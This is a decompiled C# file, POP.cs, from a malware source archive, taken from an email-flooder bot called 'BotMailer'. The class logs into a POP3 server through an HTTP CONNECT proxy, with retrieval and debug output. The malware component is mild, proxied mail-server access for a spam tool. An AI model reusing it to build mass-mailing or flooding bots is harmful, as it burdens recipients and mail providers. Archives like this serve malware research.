MalwareSourceCode/MSIL/Email-Flooder/Win32/B/Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9/POP.cs

141 lines
4.5 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: WindowsApplication17.POP
// Assembly: Botmailer Lite Speed, Version=1.0.1384.33852, Culture=neutral, PublicKeyToken=null
// MVID: 88833486-5004-4FA6-992A-B27BD1BCD279
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Flooder.Win32.BotMailer-f647edd898ebc2e8aa4b3983ed667932e2084b937bd11403e995db4e208227b9.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Net.Sockets;
using System.Text;
namespace WindowsApplication17
{
public class POP
{
private string _proxy;
private string _proxyport;
private string _server;
private int _port;
private string _Username;
private string _Password;
private NetworkStream ns;
private TcpClient client;
public POP(string server, int port)
{
this._port = 110;
this.client = new TcpClient();
this._server = server;
this._port = port;
}
public POP(
string server,
int port,
string username,
string password,
string PROXY,
string Proxyport)
{
this._port = 110;
this.client = new TcpClient();
this._proxy = PROXY;
this._proxyport = Proxyport;
this._Username = username;
this._Password = password;
this._server = server;
this._port = port;
}
public string proxyport
{
get => this._proxyport;
set => this._proxyport = value;
}
public string proxy
{
get => this._proxy;
set => this._proxy = value;
}
public string POPServer
{
get => this._server;
set => this._server = value;
}
public string username
{
get => this._Username;
set => this._Username = value;
}
public string password
{
get => this._Password;
set => this._Password = value;
}
public int Port
{
get => this._port;
set => this._port = value;
}
public object Open()
{
string[] strArray = this._proxy.ToString().Split(':');
string str1 = strArray[0] + ", " + strArray[1];
TcpClient tcpClient = new TcpClient();
tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
NetworkStream stream = tcpClient.GetStream();
byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT " + this._server + ":" + StringType.FromInteger(this._port) + " HTTP/1.1" + "\r\n" + "Host: " + this._server + ":" + StringType.FromInteger(this._port) + "\r\n" + "\r\n");
stream.Write(bytes1, 0, bytes1.Length);
byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("POP Return 1:" + Encoding.ASCII.GetString(numArray));
byte[] bytes2 = Encoding.ASCII.GetBytes("USER " + this._Username + "\r\n");
stream.Write(bytes2, 0, bytes2.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
string str2 = Encoding.ASCII.GetString(numArray);
if (StringType.StrCmp(str2.Substring(0, 3), "+OK", false) == 0)
{
Console.WriteLine("Pop Return 2:" + str2);
byte[] bytes3 = Encoding.ASCII.GetBytes("PASS " + this._Password + "\r\n");
stream.Write(bytes3, 0, bytes3.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
string str3 = Encoding.ASCII.GetString(numArray);
Console.WriteLine("Pop3 Returndata 3:" + str3);
if (StringType.StrCmp(str3.Substring(0, 3), "+OK", false) == 0)
{
byte[] bytes4 = Encoding.ASCII.GetBytes("STAT\r\n");
stream.Write(bytes4, 0, bytes4.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("Pop3 Returndata 4:" + Encoding.ASCII.GetString(numArray));
byte[] bytes5 = Encoding.ASCII.GetBytes("RETR 1\r\n");
stream.Write(bytes5, 0, bytes5.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("Pop3 Returndata 5:" + Encoding.ASCII.GetString(numArray));
byte[] bytes6 = Encoding.ASCII.GetBytes("QUIT\r\n");
stream.Write(bytes6, 0, bytes6.Length);
stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
Console.WriteLine("Pop3 Returndata 6:" + Encoding.ASCII.GetString(numArray));
}
else
{
int num = (int) Interaction.MsgBox((object) "Username/Password Error");
}
}
else
{
int num1 = (int) Interaction.MsgBox((object) "Error connecting to POP");
}
object obj;
return obj;
}
}
}